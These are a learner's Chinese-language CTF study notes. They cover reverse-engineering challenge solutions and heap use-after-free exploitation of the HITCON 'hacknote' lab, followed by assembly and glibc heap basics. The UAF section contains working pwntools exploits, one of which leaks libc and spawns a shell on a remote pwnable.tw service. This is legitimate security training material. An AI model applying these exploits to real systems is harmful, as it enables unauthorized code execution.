逆向入门-2-刷题
adworld简单题 1Reversing-x64Elf-100123456789101112131415161718192021222324252627282930313233343536__int64 __fastcall main(int a1, char **a2, char **a3){ char s[264]; // [rsp+0h] [rbp-110h] BYREF unsigned __int64 v5; // [rsp+108h] [rbp-8h] v5 = __readfsqword(0x28u); printf("Enter the password: "); if ( !fgets(s, 255, stdin) ) return 0LL; if ( (unsigned int)sub_4006FD(s) ) { puts("Incorrect password!"); return 1LL; } else { puts("Nice!"); return 0LL; }}__int64 __fastcall sub_4006FD(__int64 a1){ int i; // [rsp+14h] [rbp-24h] __int64 v3[4]; // [rsp+18h] [rbp-20h] v3[0] = (__int64)"Dufhbmf"; v3[1] = (__int64)"pG`imos"; v3[2] = (__int64)"ewUglpt"; for ( i = 0; i <= 11; ++i ) { if ( *(char *)(v3[i % 3] + 2 * (i / 3)) - *(char *)(i + a1) != 1 ) return 1LL; } return 0LL;}
*(char *)(v3[i % 3] + 2 * (i / 3)) - *(char *)(i + a1) != 1
重点是这一句
123456789101112#include <stdio.h>int main(){char v3[] = "DufhbmfpG`imosewUglpt";char a;for(int i=0;i<=11;i++){ a = v3[i%3] + 2*(i/3) - 1-i; printf("%c",a);} return 0;}
理解的不对,这其实是一个二维的,所以说你看到的东西并不是简单的直接反向操作就可以了,还是需要进行加工的
123456789101112#include <stdio.h>int main(){char v3[] = "DufhbmfpG`imosewUglpt";char a;for(int i=0;i<=12;i++){ a = v3[i%3][2*(i/3)] - 1-i; printf("%c",a);} return 0;}
注意位数
Code_Talkers
666dd是什么
key为什么是18
izwhroz””w”v.K”.Ni 这个东西逆向
重点是下面这段代码
123456789for ( i = 0; i < key; i += 3 ) { v3[i + 64] = key ^ (a1[i] + 6); v3[i + 33] = (a1[i + 1] - 6) ^ key; v3[i + 2] = a1[i + 2] ^ 6 ^ key; *(_BYTE *)(a2 + i) = v3[i + 64]; *(_BYTE *)(a2 + i + 1LL) = v3[i + 33]; *(_BYTE *)(a2 + i + 2LL) = v3[i + 2]; }
12345678910int key = 0x12;char a2[50] = 'izwhroz""w"v.K".Ni';for ( int i = 0; i < 18; i += 3 ) { a2[i] = 0x12 ^ (flag[i] + 6); a2[i+1] = (flag[i + 1] - 6) ^ key; a2[i+2] = flag[i + 2] ^ 6 ^ key; }
123456789101112131415161718#include <stdio.h>int main(){int key = 0x12;char a2[50] = "izwhroz\"\"w\"v.K\".Ni";char flag[50];for ( int i = 0; i < 18; i += 3 ) { flag[i]= (a2[i]^0x12) - 6 ; flag[i + 1]= (a2[i+1]^key) + 6 ; flag[i + 2] = a2[i+2]^ 6 ^ key ; printf("%c",flag[i]); printf("%c",flag[i+1]); printf("%c",flag[i+2]); } return 0;}
这里要注意异或和加减的优先级
unctf{b66_6b6_66b}
reverse_re3 迷宫题,一开始看不懂
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778.data:0000000000202020 dword_202020 dd 5 dup(1), 0Ah dup(0), 5 dup(1), 0, 3, 2 dup(1), 6 dup(0).data:0000000000202020 ; DATA XREF: sub_86C+82↑o.data:0000000000202020 ; sub_A92+76↑o ....data:0000000000202020 dd 5 dup(1), 3 dup(0), 1, 6 dup(0), 5 dup(1), 3 dup(0).data:0000000000202020 dd 1, 6 dup(0), 5 dup(1), 3 dup(0), 5 dup(1), 2 dup(0).data:0000000000202020 dd 5 dup(1), 7 dup(0), 1, 2 dup(0), 5 dup(1), 7 dup(0).data:0000000000202020 dd 1, 2 dup(0), 5 dup(1), 7 dup(0), 2 dup(1), 0, 5 dup(1).data:0000000000202020 dd 8 dup(0), 1, 0, 5 dup(1), 8 dup(0), 4, 0, 4Dh dup(1).data:0000000000202020 dd 0Dh dup(0), 2 dup(1), 0, 3, 5 dup(1), 6 dup(0), 2 dup(1).data:0000000000202020 dd 0, 2 dup(1), 3 dup(0), 1, 6 dup(0), 2 dup(1), 6 dup(0).data:0000000000202020 dd 1, 6 dup(0), 2 dup(1), 0, 2 dup(1), 3 dup(0), 5 dup(1).data:0000000000202020 dd 2 dup(0), 2 dup(1), 0, 2 dup(1), 7 dup(0), 1, 2 dup(0).data:0000000000202020 dd 2 dup(1), 0, 2 dup(1), 7 dup(0), 1, 2 dup(0), 2 dup(1).data:0000000000202020 dd 0, 2 dup(1), 5 dup(0), 4 dup(1), 0, 2 dup(1), 0, 2 dup(1).data:0000000000202020 dd 5 dup(0), 1, 2 dup(0), 1, 0, 2 dup(1), 0, 2 dup(1).data:0000000000202020 dd 5 dup(0), 1, 4 dup(0), 2 dup(1), 0, 6 dup(1), 0, 1.data:0000000000202020 dd 0, 2 dup(1), 0, 2 dup(1), 0, 0Bh dup(1), 0, 2 dup(1).data:0000000000202020 dd 0Bh dup(0), 4, 0, 1Eh dup(1), 10h dup(0), 3, 2 dup(1).data:0000000000202020 dd 0Eh dup(0), 1, 0, 3 dup(1), 0Ah dup(0), 3 dup(1), 0.data:0000000000202020 dd 1, 0Bh dup(0), 1, 2 dup(0), 1, 8 dup(0), 2 dup(1), 0.data:0000000000202020 dd 1, 2 dup(0), 1, 9 dup(0), 3 dup(1), 2 dup(0), 1, 0Eh dup(0).data:0000000000202020 dd 1, 0Eh dup(0), 4 dup(1), 0Eh dup(0), 1, 0Eh dup(0).data:0000000000202020 dd 1, 0Eh dup(0), 1, 0Eh dup(0), 4 dup(1), 0Eh dup(0).data:0000000000202020 dd 1, 0Eh dup(0), 4, 0.data:0000000000202020 _data ends 要调整一下格式data:0000000000202020 dword_202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 ; DATA XREF: sub_86C+82↑o.data:0000000000202020 ; sub_A92+76↑o ....data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 3, 1, 1, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1.data:0000000000202020 dd 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1.data:0000000000202020 dd 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1.data:0000000000202020 dd 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1.data:0000000000202020 dd 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 .data:0000000000202020 dd 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 0, 3, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0.data:0000000000202020 dd 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0.data:0000000000202020 dd 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0.data:0000000000202020 dd 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1.data:0000000000202020 dd 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 .data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 3, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0.data:0000000000202020 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0.data:0000000000202020 _data ends
调整格式注意这里就好,15个字符一行
100,115,119,97 d s w a 对应了前后左右四个键
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051__int64 sub_940(){ int v0; // eax int v2; // [rsp+8h] [rbp-218h] int v3; // [rsp+Ch] [rbp-214h] char v4[520]; // [rsp+10h] [rbp-210h] BYREF unsigned __int64 v5; // [rsp+218h] [rbp-8h] v5 = __readfsqword(0x28u); v3 = 0; memset(v4, 0, 0x200uLL); _isoc99_scanf(&unk_1278, v4, v4); while ( 1 ) { do { v2 = 0; sub_86C(); v0 = v4[v3]; if ( v0 == 100 ) { v2 = sub_E23(); } else if ( v0 > 100 ) { if ( v0 == 115 ) { v2 = sub_C5A(); } else if ( v0 == 119 ) { v2 = sub_A92(); } } else { if ( v0 == 27 ) return 0xFFFFFFFFLL; if ( v0 == 97 ) v2 = sub_FEC(); } ++v3; } while ( v2 != 1 ); if ( dword_202AB0 == 2 ) break; ++dword_202AB0; } puts("success! the flag is flag{md5(your input)}"); return 1LL;}
2BABYRE怎么转换数据把那个数组数据拿出来?
代码做了加密,要解一下
https://blog.rois.io/2021/rctf-2021-official-writeup-2/
函数__readfsqword函数
pwn入门-15-堆利用之Use-After-Free
漏洞原理复制的wiki的:
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
自己的理解 我理解的就是free后没有清空指针,导致还可以继续利用,利用的方式就是申请到free的bins然后覆盖上数据,借此修改一些函数指向等
4.16补充: 其实利用方式很多,总的来说是free后要对它能进行一定的操作,然后free前的功能还能用,比如puts等,就会导致问题.
例子 这是wiki上的例子,可以编译一下然后看看效果
12345678910111213141516171819202122232425#include <stdio.h>#include <stdlib.h>typedef struct name { char *myname; void (*func)(char *str);} NAME;void myprint(char *str) { printf("%s\n", str); }void printmyname() { printf("call print my name\n"); }int main() { NAME *a; a = (NAME *)malloc(sizeof(struct name)); a->func = myprint; a->myname = "I can also use it"; a->func("this is my function"); // free without modify free(a); a->func("I can also use it"); // free with modify a->func = printmyname; a->func("this is my function"); // set NULL a = NULL; printf("this pogram will crash...\n"); a->func("can not be printed...");}
细节注意:编译的时候要指定好libc,不然如果使用的libc版本过高就会有问题,之前一直在踩这个坑…而且如果事先不指定,编译完再patchelf的话也会有问题,(目前还不懂)
gcc -Wl,-rpath=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64//,–dynamic-linker=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 1.c
123456root@VM-24-10-ubuntu:/home/ubuntu/heap/useafter# ./a.outthis is my functionI can also use itcall print my namethis pogram will crash...Segmentation fault (core dumped)
a = NULL的话 , free的过程是怎样的? NULL修改了什么呢?
看雪的一个例子具体看雪的链接找不到了..
123456789101112131415161718192021222324252627282930313233#include <stdio.h> void func1(){ printf("func1\n");} void hack(){ printf("hack\n");} struct Pfunc{ void (*p)();}; int main(){ struct Pfunc* lpfunc = malloc(8); lpfunc->p = func1; lpfunc->p(); free(lpfunc); long* hack_point = malloc(8); *hack_point = hack; lpfunc->p(); return 0;}
这个函数就是先申请一个Pfunc结构体指针,分配了一块堆空间,然后把它结构体成员p赋值为一个函数地址,就可以调用了. 然后将这个结构体释放,又申请了一个新的堆空间,赋值为另外一个函数,原先的结构体指针仍然可以利用 ,
那free和没free有什么差别呢????????? free的话,是把这块空间标记为空闲可用,所以说应该还有一个地方,存储着这块空间的管理结构,但是这块空间本身是没有改变的.
HITCON-training 中的 lab 10 hacknotemain
获取用户的输入,然后根据输入进行不同的选择
123456789101112131415161718192021222324252627282930313233343536373839404142int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // eax char buf; // [esp+8h] [ebp-10h] unsigned int v5; // [esp+Ch] [ebp-Ch] v5 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { menu(); read(0, &buf, 4u); v3 = atoi(&buf); if ( v3 != 2 ) break; del_note(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print_note(); } else { if ( v3 == 4 ) exit(0);LABEL_13: puts("Invalid choice"); } } else { if ( v3 != 1 ) goto LABEL_13; add_note(); } }}
123456789101112int menu(){ puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); return printf("Your choice :");}
add
notelist这个链表存储内容,链表的每个节点分了两部分,第一部分4字节,存储print_note_content函数地址,第二部分也是一个指针,指向存储malloc的数据的chunk的地址.
例如申请一个8字节大小的content,会得到
12345678910111213141516171819202122232425262728293031323334353637383940414243444546unsigned int add_note(){ _DWORD *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; // [esp+14h] [ebp-14h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) //最多分配5个 { for ( i = 0; i <= 4; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc(8u); //分配一个notelist节点 if ( !notelist[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)notelist[i] = print_note_content; //存储put函数 printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = notelist[i]; //v0等于notelist的第一个8字节,存储put函数 v0[1] = malloc(size); // v0第二个字节,存储真正要存储的数据 if ( !*((_DWORD *)notelist[i] + 1) ) //看有没有分配成功? { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)notelist[i] + 1), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; //这是啥?? } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5;}
delete
1234567891011121314151617181920212223unsigned int del_note(){ int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); //输入要释放的index read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) { free(*((void **)notelist[v1] + 1)); free(notelist[v1]); // 释放后但没有清零!! 漏洞点 puts("Success"); } return __readgsdword(0x14u) ^ v3;}
12345678910111213141516171819unsigned int print_note(){ int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) // 释放后仍然可以调用! 漏洞点!! (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]); return __readgsdword(0x14u) ^ v3;}
思路 free后没有清空notelist的内容,也就是说,还可以继续调用print_note函数,也就是可以调用notelist对应的块的print_note_content函数,如果能够将这个函数修改成后门函数或者system函数的话,就可以getshell.
问题是如何获取这一块空间进行修改呢?, 存储函数地址的这一块空间本质上也是普通的一块堆的空间,可以在释放后重新申请到,所以可以进行释放再申请,但是释放了的话,再申请一次,第一个释放的8字节存放函数地址的chunk还是会被申请为存放函数地址的空间.
不过我们可以最开始连续申请两个notelist,然后再释放,这样的话,第二个notelist存放函数的chunk,就可以被申请作为数据的chunk了
1.申请note0和note1,大小随意,不是8及以下就行, 如16
不能是8及以下是因为不能和存放函数的chunk进入同一个fastbin的链表,不然会影响,
注意,此时会有4个chunk, 2个是用来存放put和content指针的, 两个是存放数据的
2.释放note0和note1,这时候有4个bins了,其中0x10大小的就是存放put和content指针的
123456789pwndbg> binsfastbins0x10: 0x804b028 —▸ 0x804b000 ◂— 0x00x18: 0x804b038 —▸ 0x804b010 ◂— 0x00x20: 0x00x28: 0x00x30: 0x00x38: 0x0
申请一个大小为8的note2,这个时候就会分别用到0x10的两个fastbin
而第二个0x10的bin,其实就是note1的存放函数地址的指针,修改为后们函数地址后再通过uaf进行print_note中的函数调用就可以getshell了
1234567891011121314151617181920pwndbg> binsfastbins0x10: 0x00x18: 0x804b038 —▸ 0x804b010 ◂— 0x00x20: 0x0 pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x804b000Size: 0x11Free chunk (fastbins) | PREV_INUSEAddr: 0x804b010Size: 0x19fd: 0x00Allocated chunk | PREV_INUSEAddr: 0x804b028Size: 0x11
此时,我们在申请的这个note2中,填入magic函数的地址,就覆盖了note0的put和content指针,
123x/4wx 0x804b0000x804b000: 0x00000000 0x00000011 0x61616161 0x0a616161为什么一开始不是数据呢,一开始是存放的chunk的结构等信息
再调用note0的put,就成功调用了magic函数!exp
1234567891011121314151617181920212223242526from pwn import *context.log_level= "debug"io = process("./hacknote")def add(length,context): io.sendlineafter("choice","1") io.sendlineafter("size",length) io.sendlineafter("Content",context)def delete(index): io.sendlineafter("choice","2") io.sendlineafter("Index",index)def Print(index): io.sendlineafter("choice","3") io.sendlineafter("Index",index)add("16",b"aaa")add("16",b"bbb")delete("0")delete("1")add("8",p32(0x08048986))Print("0")io.recv(1024)io.recv(1024)io.recv(1024)
几个细节问题,比如为什么不能用数字什么的,先看看比较官方的exp怎么写的吧
123456789101112131415161718192021222324252627282930313233343536373839404142434445#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *r = process('./hacknote')def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx))def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))#gdb.attach(r)magic = 0x08048986addnote(32, "aaaa") # add note 0addnote(32, "ddaa") # add note 1delnote(0) # delete note 0delnote(1) # delete note 1addnote(8, p32(magic)) # add note 2printnote(0) # print note 0r.interactive()
修改自己的exp
1.数字都给加上str() 转换一下就可以了
2.输入的字符串可以把b去了
这下顺眼多了
12345678910111213141516171819202122232425from pwn import *context.log_level= "debug"io = process("./hacknote")def add(length,context): io.sendlineafter("choice","1") io.sendlineafter("size",str(length)) io.sendlineafter("Content",context)def delete(index): io.sendlineafter("choice","2") io.sendlineafter("Index",str(index))def Print(index): io.sendlineafter("choice","3") io.sendlineafter("Index",str(index))add(16,"aaa")add(16,"bbb")delete(0)delete(1)add(8,p32(0x08048986))Print(0)io.interactive()#io.recv(1024)
泄露libc 没有后门函数,那就需要泄露libc地址后system、getshell. 把调用的函数地址修改成puts函数的地址,那怎么传参数呢? 参数要用栈,
#### puts
这是把堆当成栈来用了吗… 也不是, 这个不能用plt的puts来打印,因为没有栈传递参数,但它本身是有一个打印的函数的,正常情况下是打印存储的数据的,如下图,0x0804862b是打印函数,调用这个函数打印0x0804b018地址存储的数据,所以我们可以把这里改成puts的got表地址,就可以打印出来它的内容了
puts_addr = u32(io.recv(4)) 这样写还有问题
123puts_addr = io.recv(4)print("here:")print(puts_addr)
调试一下就会发现有问题,打印的地方不对,在接收这个之前,其实还会接收到那一堆的提示信息,所以先把提示信息接收到,再接收地址即可
12345Print(0)io.recv()puts_addr = u32(io.recv(4))print("here:")print(hex(puts_addr))
后面再继续申请的话,编号是多少呢?
123456add(16,"aaa")add(16,"bbb")delete(0)delete(1)add(8,p32(0x804862B) + p32(elf.got["puts"])) //编号是多少???
123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import *context(arch='i386',os='linux',log_level='debug')myelf = ELF('./hacknote')mylibc = ELF('./libc_32.so.6')io = remote('chall.pwnable.tw',10102)def add_note(size,content): io.recvuntil("choice :") io.sendline("1") io.recvuntil("size :") io.sendline(str(size)) io.recvuntil("Content :") io.sendline(content)def del_note(index): io.recvuntil("choice :") io.sendline("2") io.recvuntil("Index :") io.sendline(str(index))def print_note(index): io.recvuntil("choice :") io.sendline("3") io.recvuntil("Index :") io.sendline(str(index))add_note(64,"12")add_note(32,"12")del_note(0)add_note(64,"45")print_note(2)libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0sys_addr = libc_addr + mylibc.symbols['system']# add_note(8,"12")# add_note(8,"34")# del_note(3)# del_note(4)del_note(0)del_note(1)add_note(8,p32(sys_addr)+";sh\x00")print_note(0)io.interactive()
libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0sys_addr = libc_addr + libc.symbols[‘system’]
首先,有随机化,这个随机化是什么? 所以必须每次要接收到地址才行,不能用之前的
123456789101112131415161718192021222324252627282930313233343536373839404142def Print(index): #io.sendlineafter("choice","3") #io.sendlineafter("Index",str(index)) io.recvuntil("choice :") io.sendline("3") io.recvuntil("Index :") io.sendline(str(index))这玩意有什么区别吗.... io.sendlineafter("choice :","3") io.sendlineafter("Index :",str(index)) 改成这样也可以..........卧槽了.......尼玛范德萨发爱上,要骂人了 [DEBUG] Received 0xc6 bytes: b'\n' b'----------------------\n' b' HackNote \n' b'----------------------\n' b' 1. Add note \n' b' 2. Delete note \n' b' 3. Print note \n' b' 4. Exit \n' b'----------------------\n' b'Your choice :'[DEBUG] Sent 0x2 bytes: b'3\n'[DEBUG] Received 0x7 bytes: b'Index :'[DEBUG] Sent 0x2 bytes: b'2\n'Traceback (most recent call last): File "2.py", line 63, in <module> libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0 File "/usr/local/lib/python3.6/dist-packages/pwnlib/context/__init__.py", line 1597, in setter return function(*a, **kw) File "/usr/local/lib/python3.6/dist-packages/pwnlib/util/packing.py", line 353, in routine ("big", False): bu}[endian, signed](number, 3) File "/usr/local/lib/python3.6/dist-packages/pwnlib/util/packing.py", line 320, in routine return struct_op(data)[0]struct.error: unpack requires a buffer of 4 bytes[*] Closed connection to chall.pwnable.tw port 10102
我知道了………..如果不在这之后发..收到的就是后面的那个东西了…….
choice : 会收到 空格和:作为recv的值……
调试wiki里有调试,可以学一下
问题 如何进行调试源代码? 指定源代码一行一行走?
gdb调试的时候r了,ctrl+c了,怎么继续执行 好像没太有办法,可以下断点!也挺好用的
为什么释放的chunk是0x18 也就是24呢,不是16吗 和对其有关?
怎么在gdb里面发送 p32 p64这种数据呢? 可以用eb命令等 直接修改内存就可以了
pwn入门-16-汇编反汇编基础
常用汇编指令lea 加载有效地址
lea eax, [ebx+8] 将ebx+8存储的内存地址 +8 传给eax
mov eax, [ebx+8] 将ebx+8内存地址指向的数据 传给eax
cmp
算数运算sub 减
add 加
inc +1
dec -1
mul 乘
div 除
条件指令及跳转指令https://blog.csdn.net/counsellor/article/details/81005101
jmp 无条件跳转 p74-76
这几个都是根据标志位跳转
jz 如果ZF标志位置位则跳转 等于
jnz 如果ZF标志位被清除则跳转 不等于
je 等于跳转
jg 有符号大于则跳转
test eax,eax 检测目标值是否为0 ,即两个操作数按位与运算,为0的话设置标志位ZF为1,否则为0(不修改使用的操作数)
cmp eax,ebx 如果两个参数相等,ZF标志位置位
一般在cmp指令后用je,test指令后用jz
函数使用的call
leave
enter
ret
https://www.codenong.com/10483544/
全局变量与局部变量1234567891011#include <stdio.h>int i = 1;int main(){ int j =2; printf("this is:%d %d\n",i,j); return 0;}
全局变量i通过内存地址引用,局部变量通过栈地址引用
算数运算12345678910111213#include <stdio.h>int main(){ int i = 10; int j=2; int k; i = i +2; k = i/j; printf("this is:%d %d %d\n",i,j,k); return 0;}
123456789101112131415.text:000000000000064A push rbp.text:000000000000064B mov rbp, rsp.text:000000000000064E sub rsp, 10h.text:0000000000000652 mov [rbp+var_C], 0Ah ; int i =10.text:0000000000000659 mov [rbp+var_8], 2 ;int j=2;.text:0000000000000660 add [rbp+var_C], 2 ; i = i +2;.text:0000000000000664 mov eax, [rbp+var_C] ; 把i放到eax中当作被除数.text:0000000000000667 cdq.text:0000000000000668 idiv [rbp+var_8] ;j是除数.text:000000000000066B mov [rbp+var_4], eax ;结果放到k中.text:000000000000066E mov ecx, [rbp+var_4] ;k.text:0000000000000671 mov edx, [rbp+var_8] ;j.text:0000000000000674 mov eax, [rbp+var_C] ;i.text:0000000000000677 mov esi, eax ;i.text:0000000000000679 lea rdi, format ; "this is:%d %d %d\n"
识别if语句• if语句的结构
– if语句主要由判断语句和跳转语句构成
12345678910111213141516#include <stdio.h>int main(){ int i = 3; if(i == 3) { printf(" this is 3"); }else{ printf(" this is not 3"); } return 0;}
识别循环for和while循环差距不大
for循环的4个组件
– 初始化、比较、执行指令、递增或递减
123456789101112#include <stdio.h>int main(){ int n = 0; for(int i=1;i<101;i++) n += i; printf("the sum is: %d\n",n); return 0;}
识别结构体问题一开始执行的是什么玩意??
pwn入门-14-基础知识查缺补漏1
寄存器
EFLAGS 状态寄存器 32位https://article.itxueyuan.com/1DeLA0
每一位都是一个标识,置位为1或清除为0
几个重要的标志位 • ZF – 运算结果为0,ZF被置位,否则被清除
• CF – 结果相对于目标操作数太大或者太小时CF被置位,否则被清除
• SF – 运算结果为负,或者运算结果最高位为1时,SF被 置位
• TF – 用于调试,当它被置位时,x86处理器每次只执行一条指令
调用约定
https://www.codenong.com/10483544/
pwn入门-13-堆入门基础
glibc的堆管理实现arena
指的是堆内存区域本身,并非结构
主线程的main arena通过sbrk创建
其他线程arena通过mmap创建
malloc_state
管理arena的核心结构,包括堆的状态信息,bins链表等
main arena对应的malloc_state结构存储在glibc的全局变量中
其他线程的arena对应的malloc_state存储在arena本身
bins
用来管理空闲内存块,通常使用链表结构来进行组织
chunks
内存块的结构
chunks 用户请求的空间.
prev_size / prev_data:
• 如果前一个chunk是allocated chunk(P=1),则此字段属于前一个chunk可用的data部分
• 如果前一个chunk是free chunk(P=0),则此字段表示前一个chunk的size(prev_size)
标志位(size字段的低3bit)
• N:NON_MAIN_ARENA flag,表示chunk是否属于主线程
• M:IS_MMAPPED flag,表示是否由mmap分配
• P:PREV_INUSE flag,前一个chunk是否处于使用状态
如果当前chunk已经被free到bin中,
• fd:指向bin中后一个空闲块的指针
• bk:指向bin中前一个空闲块的指针
(后一个和前一个均不一定是物理相邻的)
如果当前chunk已经被free到large bin(后面马上会提到)中,
• fd_nextsize:指向large bin中后一个与自己大小不同的chunk的指针
• bk_nextsize:指向large bin中前一个与自己大小不同的chunk的指针
大小对齐
在glibc中,对齐由malloc.c中的request2size宏实现。可以简单将该操作理解为下表中的映射,即:实际size = 请求的size+8后对应的下一个0x10对齐的值
这里应该还考虑了下一个chunk的复用,那万一复用不了呢?
free chunk
allocated chunk
下一个chunk的prev_size也可以被用来存放数据,因为只有前一个chunk是free的时候这个字段才有意义
案例顺便学一下怎么调试源码
指定libc版本编译 https://blog.csdn.net/mo4776/article/details/119837501
